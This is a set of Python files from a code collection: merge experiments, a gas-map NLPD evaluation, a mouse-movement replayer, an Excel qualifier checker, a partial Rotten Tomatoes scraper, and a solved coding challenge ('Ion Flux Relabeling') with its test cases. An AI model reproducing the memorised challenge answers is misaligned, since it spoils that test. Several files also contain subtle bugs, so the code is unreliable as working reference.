output.append(i)\n i += 1\n return output\n\n\ndef merge_fast(list1, list2): \n merged = []\n while len(list1)>0 and len(list2)>0:\n if list1[0] <= list2[0]:\n merged.append(list1[0])\n list1.pop(0)\n elif list1[0] >= list2[0]:\n merged.append(list2[0])\n list2.pop(0)\n if len(list1) == 0:\n for i in list2:\n merged.append(i)\n if len(list2) == 0:\n for i in list1:\n merged.append(i)\n return merged\n'''\ndef merge_even_faster(list1, list2):\n merged=[]\n \n while len(list1)>0 and len(list2)>0:\n \n if list1[0]list2[0]:\n merged.append(list2[0])\n list2.pop(0)\n elif list1[0] == list2[0]:\n merged.append(list1[0])\n list1.pop(0)\n if len(list1)==0:\n merged.extend(list2)\n if len(list2)==0:\n merged.extend(list1)\n \n return merged\n'''\n\n\ndef merge_faster(list1, list2):\n merged=[]\n i = 0\n j = 0\n while i <= len(list1) and j <= len(list2):\n if i == len(list1):\n merged.extend(list2[j:])\n return merged\n if j == len(list2):\n merged.extend(list1[i:])\n return merged\n if list1[i] <= list2[j]:\n merged.append(list1[i])\n i += 1\n else:\n merged.append(list2[j])\n j += 1\n return merged \n\nmerge_faster([1, 2], [3, 4])\n#[1, 2, 3, 4]\n\nmerge_faster([1, 4], [2, 3])\n#[1, 2, 3, 4]\n\nmerge_faster([], [1, 2, 3])\n#[1, 2, 3]\n\nmerge_faster([1, 2, 3], [])\n#[1, 2, 3]\n\nmerge_faster([5], [0])\n#[0, 5]\n\nmerge_faster([1, 2, 3], [1, 2, 3])\n#[1, 1, 2, 2, 3, 3]\n\nmerge_faster([1, 3, 5], [2, 4, 6, 10, 15])\n#[1, 2, 3, 4, 5, 6, 10, 15]\n'''\nmerge_fast(my_range(1000), my_range(1000))\n\nmerge_faster(my_range(1000), my_range(1000))\n#[0, 0, 1, 1, 2, 2, ... 999, 999]\n\nmerge_faster(my_range(5000), my_range(5000))\n#[0, 0, 1, 1, 2, 2, ... 4999, 4999]\n\n#merge_faster(my_range(10000), my_range(10000))\n#[0, 0, 1, 1, 2, 2, ... 9999, 9999]\n\nmerge_faster(my_range(20000), my_range(20000))\n#[0, 0, 1, 1, 2, 2, ... 19999, 19999]\n'''\n\n","sub_path":"5_Efficiency.py","file_name":"5_Efficiency.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"443593977","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/3/24 11:15\n# @Author : jamerri\n\nimport numpy as np\nfrom conf import conf\nimport function as fuc\nimport math\nimport time\n\nstart = time.time()\n\n'定义为全局变量'\nconf = conf.KernelDMVW()\n\nmap = []\nD_total = []\nD_train = []\n\n'''定义坐标点信息类'''\n\n\nclass Point:\n def __init__(self, x, y, c, wind_x, wind_y, wind_z):\n self.x = x\n self.y = y\n self.c = c\n self.wind_x = wind_x\n self.wind_y = wind_y\n self.wind_z = wind_z\n\n\n'''定义大网格类'''\n\n\nclass Block:\n def __init__(self, sets):\n self.point_set = sets\n\n\n'''从txt读取9900个点'''\nfile_open_path = 'C:/Users/jamerri/Desktop/实验数据/1.5_9900_interpolation_data.txt'\n'''处理原始数据'''\nraw_data = np.loadtxt(file_open_path)\nfor i in range(9900):\n D_total.append(Point(raw_data[i][0], raw_data[i][1], raw_data[i][2], raw_data[i][3], raw_data[i][4], raw_data[i][5]))\n# print(raw_data)\n\n'''设置训练集'''\n\n\ndef get_train_set(blc, b_len, b_bre, c_num):\n \"\"\"\n 设置训练集\n blc:大网格的数量\n b_len:一个大网格的长度\n b_bre:一个大网格的宽度\n c_num:每个网格采样的数量\n \"\"\"\n tmp = []\n index_dict = {-1, }\n b_total = len(D_total) / blc # 每个网格点的数量\n blc = int(np.math.sqrt(blc))\n for i in range(blc):\n for j in range(blc): # 第i行第j列的网格\n for n in range(c_num):\n index = -1\n while index in index_dict:\n r = np.random.randint(0, b_total)\n ln = r // b_bre\n col = r - ln * b_bre\n index = (i * b_len + ln) * (blc * b_bre) + (j * b_bre + col) # 计算采样点的索引\n index_dict.add(index)\n tmp.append(D_total[index])\n\n return tmp\n\n\nD_train = get_train_set(100, 9, 11, 20)\nprint(len(D_train))\n'''设置测试集'''\nD_test = [i for i in D_total if i not in D_train]\nprint(len(D_test))\n\n'''写D_train训练集到txt'''\nraw_D_train_c_filed = []\nfor i in range(len(D_train)):\n raw_D_train_c_filed.append(\n [D_train[i].x, D_train[i].y, D_train[i].c, D_train[i].wind_x, D_train[i].wind_y, D_train[i].wind_z])\n\nfuc.write_D_train_data(raw_D_train_c_filed)\n'''写D_test训练集到txt'''\nraw_D_test_c_filed = []\nfor i in range(len(D_test)):\n raw_D_test_c_filed.append(\n [D_test[i].x, D_test[i].y, D_test[i].c, D_test[i].wind_x, D_test[i].wind_y, D_test[i].wind_z])\n\nfuc.write_D_test_data(raw_D_test_c_filed)\n\n'''构建kernel地图'''\ntrain_position_x = []\ntrain_position_y = []\ntrain_c = []\nkz = 0.4\nfor i in range(len(D_train)):\n train_position_x.append(D_train[i].x)\n train_position_y.append(D_train[i].y)\n train_c.append(D_train[i].c)\nmean_value = fuc.mean_value_and_variance_value(train_position_x, train_position_y, train_c, kz)[0]\nvariance_value = fuc.mean_value_and_variance_value(train_position_x, train_position_y, train_c, kz)[1]\n\n'''用测试集计算NLPD指标'''\nsub_n = []\nfor j in range(len(D_test)):\n test_position_x = D_test[j].x\n test_position_y = D_test[j].y\n test_c = D_test[j].c\n number = fuc.find_number(test_position_x, test_position_y)\n sub_n.append(math.log(variance_value[number]) + pow((mean_value[number] - test_c), 2) / variance_value[\n number])\n\nNLPD = np.array(sub_n).sum() / (2 * len(D_test)) + 0.5 * math.log(2 * math.pi)\nprint(NLPD)\n\nend = time.time()\nprint('runtime:%s second' % (end - start))\n\n","sub_path":"test/GDM.py","file_name":"GDM.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"125035084","text":"import time, win32api, random\nfrom random import *\n\n\nwith open('test.txt') as f:\n mylist = [tuple(map(float, i.split())) for i in f]\n\ndef move_mouse(list):\n oldposx = 0\n oldposy = 0\n same_count = 0\n for i in list:\n rand = random()/50\n posx = int(i[0])\n posy = int(i[1])\n if posx == oldposx or posy == oldposy:\n same_count += 1\n else:\n same_count = 0\n oldposx = posx\n oldposy = posy\n if same_count <= 10:\n win32api.SetCursorPos((posx, posy))\n else:\n continue\n time.sleep(rand)\n\nstart_index = round(random()*len(mylist)/2 -1)\nend_index = start_index + randint(50, 100)\nwhile (True):\n quick_chance = random()\n if quick_chance >= .6:\n loop_time = randint(0, 150)\n print(\"Long time.\")\n else:\n loop_time = randint(250, 290)\n if (start_index >= len(mylist) or end_index >= len(mylist)):\n start_index = round(random()*len(mylist)/2 -1)\n end_index = start_index + randint(50, 100)\n print(\"Resetting...\")\n move_mouse(mylist[start_index:end_index])\n #win32api.SendKeys(\")\n start_index = end_index\n end_index = start_index + randint(50, 100)\n print(\"Test)\")\n time.sleep(loop_time)\n\n","sub_path":"BasicRun.py","file_name":"BasicRun.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"470196907","text":"\"\"\"Ion Flux Relabeling\n===================\n\nOh no! Commander Lambda's latest experiment to improve the efficiency of her\nLAMBCHOP doomsday device has backfired spectacularly. She had been improving\nthe structure of the ion flux converter tree, but something went terribly wrong\nand the flux chains exploded. Some of the ion flux converters survived the\nexplosion intact, but others had their position labels blasted off. She's\nhaving her henchmen rebuild the ion flux converter tree by hand, but you think\nyou can do it much more quickly - quickly enough, perhaps, to earn a promotion!\n\nFlux chains require perfect binary trees, so Lambda's design arranged the ion\nflux converters to form one. To label them, she performed a post-order\ntraversal of the tree of converters and labeled each converter with the order\nof that converter in the traversal, starting at 1. For example, a tree of 7\nconverters would look like the following:\n\n 7\n 3 6\n1 2 4 5\n\nWrite a function solution(h, q) - where h is the height of the perfect tree of\nconverters and q is a list of positive integers representing different flux\nconverters - which returns a list of integers p where each element in p is the\nlabel of the converter that sits on top of the respective converter in q, or -1\nif there is no such converter. For example, solution(3, [1, 4, 7]) would return\nthe converters above the converters at indexes 1, 4, and 7 in a perfect binary\ntree of height 3, which is [3, 6, -1].\n\nThe domain of the integer h is 1 <= h <= 30, where h = 1 represents a perfect\nbinary tree containing only the root, h = 2 represents a perfect binary tree\nwith the root and two leaf nodes, h = 3 represents a perfect binary tree with\nthe root, two internal nodes and four leaf nodes (like the example above), and\nso forth. The lists q and p contain at least one but no more than 10000\ndistinct integers, all of which will be between 1 and 2^h-1, inclusive.\n\nLanguages\n=========\n\nTo provide a Java solution, edit Solution.java\nTo provide a Python solution, edit solution.py\n\nTest cases\n==========\nYour code should pass the following test cases.\nNote that it may also be run against hidden test cases not shown here.\n\n-- Java cases --\nInput:\nSolution.solution(5, {19, 14, 28})\nOutput:\n 21,15,29\n\nInput:\nSolution.solution(3, {7, 3, 5, 1})\nOutput:\n -1,7,6,3\n\n-- Python cases --\nInput:\nsolution.solution(3, [7, 3, 5, 1])\nOutput:\n -1,7,6,3\n\nInput:\nsolution.solution(5, [19, 14, 28])\nOutput:\n 21,15,29\n\nUse verify [file] to test your solution and see how it does. When you are\nfinished editing your code, use submit [file] to submit your answer. If your\nsolution passes the test cases, it will be removed from your home folder.\n\"\"\"\n\n\nclass Node(object):\n \n def __init__(self, value=0):\n assert(isinstance(value, int))\n self.value = value\n self.left = None\n self.right = None\n\n def add_left(self, node):\n assert(None==node or isinstance(node, Node))\n self.left = node\n \n def add_right(self, node):\n assert(None==node or isinstance(node, Node))\n self.right = node\n\n def set_value(self, value):\n assert(isinstance(value, int))\n self.value = value\n\n\nclass Tree(object):\n \n def __init__(self, height):\n assert(isinstance(height, int))\n self.nodes = 0\n self.root = self.build(height)\n\n def build(self, height):\n \"\"\" Recursive build of perfect binary tree.\n \"\"\"\n if height==0:\n return None\n N = Node()\n N.add_left(self.build(height-1))\n N.add_right(self.build(height-1))\n self.nodes+=1\n N.set_value(self.nodes)\n return N\n\n def get_node_parents_value(self, value):\n \"\"\" Find node with given value, return parent's node value.\n Being a perfect binary tree, and that all provided values will be \n between 1 and 2^h-1, we are guaranteed to find the node.\n \"\"\"\n assert(isinstance(value, int))\n current_node = self.root\n if value==current_node.value:\n # Node is root\n return -1\n while True:\n if value==current_node.left.value or value==current_node.right.value:\n return current_node.value\n elif value < current_node.left.value:\n current_node = current_node.left\n elif value < current_node.right.value:\n current_node = current_node.right\n\n\ndef solution(h, q):\n myTree = Tree(h)\n return [myTree.get_node_parents_value(v) for v in q]\n\n\nif __name__==\"__main__\":\n t1_sol = [-1,7,6,3]\n t2_sol = [21,15,29]\n t1_res = solution(3, [7, 3, 5, 1])\n t2_res = solution(5, [19, 14, 28])\n print( 'Test 1 passed' if (t1_sol==t1_res) else 'Test 1 failed. Expected: {}, actual {}'.format(t1_sol, t1_res))\n print( 'Test 2 passed' if (t2_sol==t2_res) else 'Test 2 failed. Expected: {}, actual {}'.format(t2_sol, t2_res))\n","sub_path":"02/ion-flux-relabeling.py","file_name":"ion-flux-relabeling.py","file_ext":"py","file_size_in_byte":4943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"215601088","text":"import os\nimport xlrd, xlwt # For reading and writing an Excel sheet\n # Note this library needs to be downloaded on your computer beforehand\n # Try using...\n # pip install xlrd\n # pip install xlwt\n\ndef build_qualifiers():\n files = os.listdir('.')\n if \"QUALIFIERS.xls\" in files:\n return\n qualifiers = []\n for file in files:\n if not file[-4:] == '.xls' or file == \"LATEST ADDERPIT.xls\":\n continue\n region = [file[:-4]]\n workbook = xlrd.open_workbook(file)\n for sheet in range(workbook.nsheets):\n worksheet = workbook.sheet_by_index(sheet)\n competition = workbook.sheet_names()[sheet]\n if u\"Nasheed\" in competition:\n competition = \"Nasheed / Rap\"\n\n if worksheet.cell(0, 0).value == u'Student MIST Id':\n try:\n number = 3\n if u\"Quran Memorization Level\" in competition:\n number = 6\n for i in range(number):\n team_name = worksheet.cell(i+1, 2).value\n competitor_name = worksheet.cell(i+1, 1).value\n add_competitor(region, team_name, competitor_name, competition)\n except IndexError:\n \"\"\"Reached end of file\"\"\"\n \n if worksheet.cell(0, 0).value == u'Team Id':\n row = 1\n try:\n for i in range(3):\n while not worksheet.cell(row, 5).value == u'':\n team_name = worksheet.cell(row, 5).value\n column = 8\n try:\n worksheet.cell(row, column).value\n except IndexError:\n column = 6\n competitor_name = worksheet.cell(row, column).value\n add_competitor(region, team_name, competitor_name, competition)\n row += 1\n row += 1\n except IndexError:\n \"\"\"Reached end of file\"\"\"\n\n qualifiers.append(region)\n\n # Sort alphabetically\n for region in qualifiers:\n sort_qualifiers(region)\n for i in range(len(region)-1):\n team = region[i+1]\n sort_qualifiers(team)\n for j in range(len(team)-1):\n competitor = team[j+1]\n competitor[1].sort()\n\n workbook = xlwt.Workbook()\n sheet = workbook.add_sheet('Qualifiers')\n for i in range(8):\n sheet.col(i).width = 7000\n row = 0\n for region in qualifiers:\n style = xlwt.XFStyle()\n pattern = xlwt.Pattern()\n pattern.pattern = xlwt.Pattern.SOLID_PATTERN\n pattern.pattern_fore_colour = xlwt.Style.colour_map['red']\n style.pattern = pattern\n sheet.write(row, 0, region[0], style)\n row += 1\n for i in range(len(region)-1):\n team = region[i+1]\n team_name = team[0]\n for j in range(len(team)-1):\n competitor = team[j+1]\n sheet.write(row, 0, team_name)\n sheet.write(row, 1, competitor[0])\n for k in range(len(competitor[1])):\n sheet.write(row, k+2, competitor[1][k])\n row += 1\n sheet.write(row, 0, u'')\n row += 1\n sheet.write(row, 0, u'')\n row += 1\n sheet.write(row, 0, u'END_OF_FILE')\n workbook.save(\"QUALIFIERS.xls\")\n print(\"QUALIFIERS.xls saved\")\n\ndef add_competitor(region, team_name, competitor_name, competition):\n added_team = False\n for j in range(len(region)-1):\n team = region[j+1]\n if team[0] == team_name:\n added_competitor = False\n for k in range(len(team)-1):\n competitor = team[k+1]\n if competitor[0] == competitor_name:\n competitor[1].append(competition)\n added_competitor = True\n break\n if not added_competitor:\n team.append([competitor_name, [competition]])\n added_team = True\n break\n if not added_team:\n region.append([team_name, [competitor_name, [competition]]])\n\ndef sort_qualifiers(list):\n # First element is name of list and must remain in that position\n for i in range(len(list)-2):\n i += 1\n min_index = i\n for j in range(len(list)-i-1):\n j += i+1\n if list[j][0].lower() < list[min_index][0].lower():\n min_index = j\n minimum = list[min_index]\n list[min_index] = list[i]\n list[i] = minimum\n \ndef check_qualifiers():\n workbook = xlrd.open_workbook('QUALIFIERS.xls')\n worksheet = workbook.sheet_by_index(0)\n qualifiers = []\n row = 0\n while not worksheet.cell(row, 0).value == u'':\n region = [worksheet.cell(row, 0).value]\n row += 1\n while not worksheet.cell(row, 0).value == u'':\n team_name = worksheet.cell(row, 0).value\n competitor_name = worksheet.cell(row, 1).value\n competitions = []\n for i in range(5):\n if not worksheet.cell(row, i+2).value == u'':\n competitions.append(worksheet.cell(row, i+2).value)\n region.append([team_name, competitor_name, competitions])\n row += 1\n qualifiers.append(region)\n row += 1\n \n workbook = xlrd.open_workbook('LATEST ADDERPIT.xls')\n worksheet = workbook.sheet_by_index(0)\n row = 1\n unqualified = []\n try:\n while True:\n if worksheet.cell(row, 9).value == 1:\n team_name = worksheet.cell(row, 0).value\n competitor_name = worksheet.cell(row, 3).value\n competitions = []\n for i in range(6):\n if not worksheet.cell(row, i+20).value == u'':\n competitions.append(worksheet.cell(row, i+20).value)\n found = False\n potential = []\n for region in qualifiers:\n for i in range(len(region)-1):\n competitor = region[i+1]\n if competitor[0] == team_name and competitor[1] == competitor_name:\n found = True\n # Check that this individual qualified for all their competitions\n notice = [\"white\", region[0], team_name, competitor_name, []]\n for comp in competitions:\n valid = False\n for qualified_comp in competitor[2]:\n if comp in qualified_comp:\n valid = True\n if not valid:\n notice[4].append(comp)\n if len(notice[4]) > 0:\n \"\"\"Uncomment later\"\"\"\n # unqualified.append(notice)\n elif competitor[1] == competitor_name:\n potential.append([region[0], competitor])\n if not found and len(potential) == 0:\n unqualified.append([\"red\", u\"\", team_name, competitor_name, competitions])\n elif not found and len(potential) == 1:\n competitor = potential[0][1]\n notice = [\"blue\", potential[0][0], team_name, competitor_name, []]\n for comp in competitions:\n valid = False\n for qualified_comp in competitor[2]:\n if comp in qualified_comp:\n valid = True\n if not valid:\n notice[4].append(comp)\n if len(notice[4]) > 0:\n notice[0] = \"yellow\" # Mark yellow if they did not sign up for any competition they qualified for\n # unqualified.append(notice)\n else:\n \"\"\"\"Uncomment below to include competitors with unique names but no matching team name\"\"\"\n # unqualified.append(notice)\n elif not found:\n unqualified.append([\"orange\", u\"\", team_name, competitor_name, competitions])\n row += 1\n except IndexError:\n \"\"\"Reached end of file\"\"\"\n\n red = xlwt.easyxf('pattern: pattern solid, fore_colour red;')\n yellow = xlwt.easyxf('pattern: pattern solid, fore_colour yellow;')\n orange = xlwt.easyxf('pattern: pattern solid, fore_colour orange;')\n blue = xlwt.easyxf('pattern: pattern solid, fore_colour pale_blue;')\n white = xlwt.easyxf('pattern: pattern solid, fore_colour white;')\n\n workbook = xlwt.Workbook()\n sheet = workbook.add_sheet(\"Unqualified\")\n for i in range(9):\n sheet.col(i).width = 7000\n sheet.write(0, 0, u\"Competitors who signed up for competitions they did not qualify for (\" + str(len(unqualified)) + u\")\")\n sheet.write(1, 0, u\"Red means they qualified for no competitions\", red)\n # sheet.write(2, 0, u\"Yellow means only name matched and they registered for competitions they don't qualify for\", yellow)\n sheet.write(3, 0, u\"Orange means no matching team name found, likely because team name changed\", orange)\n for i in range(len(unqualified)):\n competitor = unqualified[i]\n color = white\n if competitor[0] == \"red\":\n color = red\n if competitor[0] == \"yellow\":\n color = yellow\n if competitor[0] == \"blue\":\n color = blue\n if competitor[0] == \"orange\":\n color = orange\n sheet.write(i+4, 0, competitor[1], color)\n sheet.write(i+4, 1, competitor[2], color)\n sheet.write(i+4, 2, competitor[3], color)\n for j in range(len(competitor[4])):\n sheet.write(i+4, j+3, competitor[4][j], color)\n workbook.save(\"UNQUALIFIED.xls\")\n print(\"UNQUALIFIED.xls saved\")\n \ndef main():\n build_qualifiers()\n check_qualifiers()\n\nif __name__ == '__main__':\n main()","sub_path":"MIST/2018Nats/qualifiers.py","file_name":"qualifiers.py","file_ext":"py","file_size_in_byte":10359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"73455578","text":"import os\nimport re\nimport socket\nimport urllib\nfrom urllib import request\nimport urllib.request\nfrom urllib.error import HTTPError\n\nimport nltk\nfrom bs4 import BeautifulSoup\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nimport string\nfrom WebCrawls import *\nfrom UtilityFuncts import *\nimport requests\n\nfrom kb import KB, Profession\n\n\n# import selenium\n# import lxml\n\n\ndef pre_process(text: str):\n print(string.punctuation)\n\n text = text.lower()\n tokens = word_tokenize(text )\n excludingWords = list(stopwords.words(\"english\"))\n excludingWords.extend( list(stopwords.words(\"spanish\")) )\n excludingWords.extend(string.punctuation)\n excludingWords.extend(string.whitespace)\n excludingWords.append(\"t\")\n excludingWords.append(\"\\\"\")\n excludingWords.append(\"\\'\")\n excludingWords.append(\"-\")\n excludingWords.append(\"\\'\\'\")\n excludingWords.append(\"\\`\")\n excludingWords.append( \"n\\'t\")\n excludingWords.append( \"\\'s\")\n excludingWords.append( \"_\")\n\n returnTokens = []\n for token in tokens:\n if token not in excludingWords:\n if len(token) >=3:\n returnTokens.append(token)\n return returnTokens\n\n\ndef frequncy(text_tokens: List[str]):\n freq_dict = dict()\n for token in text_tokens:\n if token in freq_dict.keys():\n freq_dict[token] = freq_dict[token] + 1\n else:\n freq_dict[token] = 1\n return freq_dict\n\n\ndef getWebpage(URL: str):\n html = request.urlopen(URL).read().decode('utf8')\n soup = BeautifulSoup(html, features=\"html.parser\")\n text = soup.prettify()\n\n # response = requests.get(URL)\n # soup = BeautifulSoup(response.text, features=\"html.parser\")\n # text = soup.get_text()\n\n print(text[:200])\n\n import re\n text_chunks = [chunk for chunk in text.splitlines() if not re.match(r'^\\s*$', chunk)]\n for i, chunk in enumerate(text_chunks):\n print(i + 1, chunk)\n\n\n# https://github.com/kjmazidi/NLP/tree/master/Xtra_Python_Material/Web_Scraping\ndef webCrawler():\n pass\n\n\ndef getBodyText(URL: str, tokensLength: int = 10, excludeAnyList: List[str] = [],DEBUG: bool = False, timeoutSeconds: int = 10):\n try:\n response = request.urlopen(URL).read().decode('utf8')\n # response = requests.get(URL, timeout=timeoutSeconds)\n except HTTPError:\n print(f\"HTTP Error Exception occured when accessing {URL}... \\n\\tNow returning an empty List...\")\n return []\n soup = BeautifulSoup(response, features=\"html.parser\")\n\n # soup = BeautifulSoup(response.text, features=\"html.parser\")\n text = soup.get_text()\n\n # tokens = text.splitlines()\n # newToks = [line for line in tokens if len(line.split()) > tokensLength]\n # print(newToks)\n # #print(text)\n\n tags = soup.body\n\n # bodySents = [str(line).strip() for line in soup.body.strings if len(line.strip().split()) > tokensLength\n # and line.find(\"©\") == -1]\n\n bodySents = [str(line) for line in soup.body.strings if len(line.strip().split()) > tokensLength\n and not containsAny(line, excludeAnyList)]\n\n if DEBUG:\n print(bodySents)\n\n return bodySents\n\n\ndef containsAny(line: str, AnyIncludeList: List[str]):\n if len(AnyIncludeList) == 0:\n return True\n for expr in AnyIncludeList:\n if line.find(expr) != -1:\n return True\n return False\n\n\ndef containsAll(line: str, MustIncludeList: List[str]):\n for expr in MustIncludeList:\n if line.find(expr) == -1:\n return False\n return True\n\n\npageNumPattern = re.compile(r\"(\\?page=)\\d+$\")\n\n\ndef crawlRottenTomatoesReviews(URL: str, baseURL: str, mustIncludeAll: List[str] = [], mustIncludeAny: List[str] = [],\n mustExcludeAll: List[str] = [], mustExcludeAny: List[str] = [],\n debug: bool = False, pageNum: int = 1, linksListLenLimit: int = 1,\n lineLenLimit: int = 10):\n if (pageNumPattern.search(URL) != None):\n response = requests.get(URL)\n else:\n response = requests.get(URL + f\"?page={pageNum}\")\n soup = BeautifulSoup(response.text, features=\"html.parser\")\n links = soup.select('a', href=True)\n\n outLinks = []\n for link in links:\n # print(link.get_text())\n line = str(link.get('href'))\n if line != \"None\" and len(line) > lineLenLimit:\n # if line.startswith(\"/\"):\n # line = baseURL + line\n if not line.startswith(\"/\") and containsAll(line, mustIncludeAll) and containsAny(line, mustIncludeAny) \\\n and not (containsAll(line, mustExcludeAll) and containsAny(line, mustExcludeAny)):\n outLinks.append(line)\n\n if len(outLinks) < linksListLenLimit:\n return outLinks\n else:\n if debug:\n print(outLinks)\n newLinks = crawlRottenTomatoesReviews(URL, baseURL, mustIncludeAll, mustIncludeAny, mustExcludeAll,\n mustExcludeAny, debug, pageNum + 1, linksListLenLimit)\n\n outLinks.extend(newLinks)\n\n return outLinks\n\n\ndef startCrawl(urlList: List[str], baseURL: str, mustIncludeAll: List[str] = [], mustIncludeAny: List[str] = [],\n mustExcludeAll: List[str] = [], mustExcludeAny: List[str] = [],\n debug: bool = False, pageNum: int = 1, linksLenLimit: int = 1):\n crawledLinks = []\n for url in urlList:\n if debug:\n print(f\"\\n\\nCrawls for:{url}\")\n links = crawlRottenTomatoesReviews(url, baseURL, mustIncludeAll, mustIncludeAny, mustExcludeAll, mustExcludeAny,\n debug, pageNum, linksLenLimit)\n crawl = WebCrawls(url, links)\n crawledLinks.append(crawl)\n # if len(links) >= 0:\n # crawledLinks.append(links)\n if debug:\n print(f\"Num Crawls: {len(links)}\")\n if debug:\n print(\n f\"Links started with: {len(urlList)} - {urlList.__str__()}\\n\\n\\tCrawled Links returned: {len(crawledLinks[0].urlList)}\")\n return crawledLinks\n\n\ndirectoryTokensRemovePattern = re.compile(r\"[\\\\/:*?,`\\'\\\"<>|&^()\\{\\}\\(\\)\\[\\]\\%\\$\\#\\@\\!]+\")\n\n\ndef writeOutCrawls(baseOutputDir: str, crawlsList: List[WebCrawls], excludeAnyList: List[str]= [],pickelOutputDir: str = \"pickles\", replaceToken: str = \"_\", debug: bool = False):\n # This function expects that whatever output directory we are at it will end in '/'\n webCrawlsDir = \"WebCrawls\"\n for crawlObj in crawlsList:\n innerFolder1 = directoryTokensRemovePattern.sub(replaceToken, crawlObj.baseURL)\n if not os.path.exists(os.path.join(os.getcwd(), pickelOutputDir, webCrawlsDir)):\n try:\n if debug:\n print(\n f\"Path does not exist, now creating it... {os.path.join(os.getcwd(), pickelOutputDir, webCrawlsDir )}\")\n os.makedirs(os.path.join(os.getcwd(), pickelOutputDir, webCrawlsDir))\n except IOError as error:\n print(error)\n continue\n writePickle(os.path.join(os.getcwd(), pickelOutputDir, webCrawlsDir, innerFolder1 + \".pickle\"),\n crawlObj, innerFolder1 + \".pickle\")\n\n for link in crawlObj.urlList:\n outFileName = directoryTokensRemovePattern.sub(replaceToken, link) + \".txt\"\n\n try:\n if debug:\n print(f\"Now scraping \\'{link}\\'\")\n bodyText = getBodyText(link, excludeAnyList=excludeAnyList)\n if len(bodyText) < 1:\n continue\n except Exception as error:\n print(error)\n continue\n\n if not os.path.exists(os.path.join(os.getcwd(), baseOutputDir, innerFolder1)):\n try:\n if debug:\n print(\n f\"Path does not exist, now creating it... {os.path.join(os.getcwd(), baseOutputDir, innerFolder1)}\")\n os.makedirs(os.path.join(os.getcwd(), baseOutputDir, innerFolder1))\n except IOError as error:\n print(error)\n continue\n\n with open(os.path.join(os.getcwd(), baseOutputDir, innerFolder1, outFileName), \"w\",\n encoding=\"utf-8\") as outFile:\n for line in bodyText:\n outFile.write(line + \"\\n\")\n\n\ndef cleanText(text: str):\n return re.sub(\"\\s+\", \" \", text).strip()\n\ndef cleanTextFiles(baseDirectory: str, outputDirectory: str, debug: bool = False, processedFileModifier: str = \"Proc_\"):\n currentPath = os.path.join(os.getcwd(), baseDirectory)\n for filename in os.listdir(currentPath):\n innerPath = os.path.join(os.getcwd(), baseDirectory, filename)\n if os.path.isdir(innerPath):\n print(f\"Now Processing / Cleaning folder {innerPath}\")\n cleanTextFiles(os.path.join(baseDirectory, filename), os.path.join(outputDirectory, filename))\n elif os.path.isfile(innerPath):\n with open(innerPath, 'r', encoding=\"utf-8\") as inFile: # open in readonly mode\n rawText = inFile.read()\n rawText = cleanText(rawText)\n sents = nltk.sent_tokenize(rawText)\n\n outputPath = os.path.join(os.getcwd(), outputDirectory)\n if not os.path.exists(outputPath):\n try:\n if debug:\n print(\n f\"Path does not exist, now creating it... {outputPath}\")\n os.makedirs(outputPath)\n except IOError as error:\n print(error)\n continue\n\n with open(os.path.join(outputPath, processedFileModifier + filename), \"w\", encoding=\"utf-8\") as outFile:\n for line in sents:\n outFile.write(line + \"\\n\")\n\n\ndef create_tf_dict(text):\n tf_dict = {}\n tokens = word_tokenize(text)\n tokens = [w for w in tokens if w.isalpha() and w not in stopwords]\n\n # get term frequencies\n for t in tokens:\n if t in tf_dict:\n tf_dict[t] += 1\n else:\n tf_dict[t] = 1\n\n # get term frequencies in a more Pythonic way\n token_set = set(tokens)\n tf_dict = {t: tokens.count(t) for t in token_set}\n\n # normalize tf by number of tokens\n for t in tf_dict.keys():\n tf_dict[t] = tf_dict[t] / len(tokens)\n\n return tf_dict\n\n\n\n\nif __name__ == '__main__':\n\n startingLinks = []\n for i in range(1, 9):\n startingLinks.append( f\"https://www.rottentomatoes.com/tv/game-of-thrones/s0{i}/reviews\" )\n print(f\"Starting links List: \\n\\t{startingLinks}\")\n writeOutLocation = \"output\"\n excludeLinksList = [\"rottentomatoes\", \"youtube\", \"cookies\", \"fandango\", \"latimes\", \"philly.com\"]\n excludeBodyLinesList = [\"Company Number\", \"company number\", \"Registered Office\", \"registered office\", \"authorised and regulated\", \"Media Ltd\", \"TCA\", \"©\"]\n\n needToCrawl = True\n showDebug = True\n if needToCrawl:\n crawledLinks = startCrawl(startingLinks, \"https://www.rottentomatoes.com\",\n mustExcludeAny=excludeLinksList,\n pageNum=1, debug=showDebug)\n writeOutCrawls(writeOutLocation, crawledLinks, excludeAnyList=excludeBodyLinesList, debug=showDebug)\n\n # This portion of main is meant to only be executed if there the writeOutLocation folder is present and filled with text files...\n\n processedWriteOutLocation = \"processed_\" + writeOutLocation\n cleanTextFiles(writeOutLocation, processedWriteOutLocation)\n\n\n # getBodyText(\"http://www.kansascity.com/entertainment/tv/article18168266.html\", DEBUG=True)\n\n \n file_to_read = open(\"term_freq.pickle\", \"rb\")\n\n\n loaded_dictionary = pickle.load(file_to_read)\n\n ## Choose the 10 term \n throne = \"throne\"\n tyrion = \"tyrion\"\n stark = \"stark\"\n robert = \"robert\"\n arya = \"arya\"\n cersei = \"cersei\"\n rob = \"rob\"\n emilia = \"emilia\"\n melisandre = \"melisandre\"\n jon = \"jon\"\n top_term = [throne, tyrion, stark, robert , arya , cersei , rob , emilia , melisandre , jon ]\n\n ## add throne \n kb = KB(Entities= dict())\n\n ## add throne and\n freq = loaded_dictionary[\"throne\"]\n val = qid(\"throne\")\n relationship = {qid(\"emilia\"):\" She wants the throne\"}\n kb.add_entity( name = \"throne\" , freq = freq , qid = val , relationship = relationship )\n\n\n\n ## add tyrion\n freq = loaded_dictionary[\"tyrion\"]\n val = qid(\"tyrion\")\n relationship = {qid(\"cersia\"):\" younger brother of Cerseia\"}\n kb.add_entity( name = \"tyrion\" , freq = freq , qid = val , relationship = relationship )\n\n ## stark\n freq = loaded_dictionary[\"stark\"]\n val = qid(\"stark\")\n kb.add_entity( name = \"stark\" , freq = freq , qid = val , relationship = None )\n kb.add_profession(val , Profession.Knight)\n\n ## robert\n 